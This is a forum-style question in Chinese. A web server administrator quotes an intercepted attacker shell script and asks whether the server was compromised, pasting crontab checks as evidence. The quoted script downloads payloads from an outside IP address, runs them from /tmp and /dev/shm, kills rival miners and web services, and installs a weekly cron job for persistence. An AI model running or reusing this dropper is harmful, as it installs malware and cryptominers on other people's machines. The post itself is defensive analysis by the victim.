我截获了对我的 Web 服务器的攻击，我认为该攻击是不成功的。攻击者试图执行这个脚本：
#!/bin/sh
cd /tmp;cd /dev/shm
wget -q http://221.132.37.26/xx -O ...x
chmod +x ...x
./...x
cd /dev/shm ; wget 221.132.37.26/ru ; bash ru ; rm -rf ru
cd /dev/shm ; wget 221.132.37.26/rr; bash rr; rm -rf rr
killall -9 .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w php
killall -9 .rnd
killall -9 .a
killall -9 kernelupdate
killall -9 dev
killall -9 sh
killall -9 bash
killall -9 apache2
killall -9 httpd
killall -9 cla
killall -9 ka
killall -9 kav
killall -9 m32
killall -9 m64
killall -9 perl
killall -9 sh
killall -9 sucrack
killall -9 m64 m32 minerd32 minerd64 minerd cla qt64 qt32 clover cron sh wget
kill -9 `pidof .rnd`
kill -9 `pidof .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w`
kill -9 `pidof dev`
kill -9 `pidof perl`
kill -9 `pidof m32`
kill -9 `pidof m64`
kill -9 `pidof ka`
kill -9 `pidof kav`
kill -9 `pidof cla`
kill -9 `pidof sh`
kill -9 `pidof sucrack`
echo "@weekly wget -q http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh" >> /tmp/cron
crontab /tmp/cron
rm -rf /tmp/cron
我可以看到它通过 wget 获取其他三个 sh 脚本，执行它们，删除它们（可能用于跟踪目的），杀死一些进程，设置每周执行的 cron，然后删除它（？！）。
正如我们所看到的，它杀死了 Apache 和 sh 本身。这很奇怪，因为如果 Apache 和 sh 被杀死，攻击将不再有效，对吧？
我有理由相信这个有效载荷从未真正执行过，因为：
- 攻击是使用 GET 请求尝试的。由于 Apache mod_rewrite，他得到的只是 404。
- 攻击者试图利用 PHP 后端漏洞，这不适用于我。
这一切是否意味着我仍然安全？我想crontab -l检查一下我的服务器是否遭到入侵。输出是：
ubuntu@ip-172-31-24-52:~$ crontab -l
no crontab for ubuntu
ubuntu@ip-172-31-24-52:~$ sudo su
root@ip-172-31-24-52:/home/ubuntu# crontab -l
no crontab for root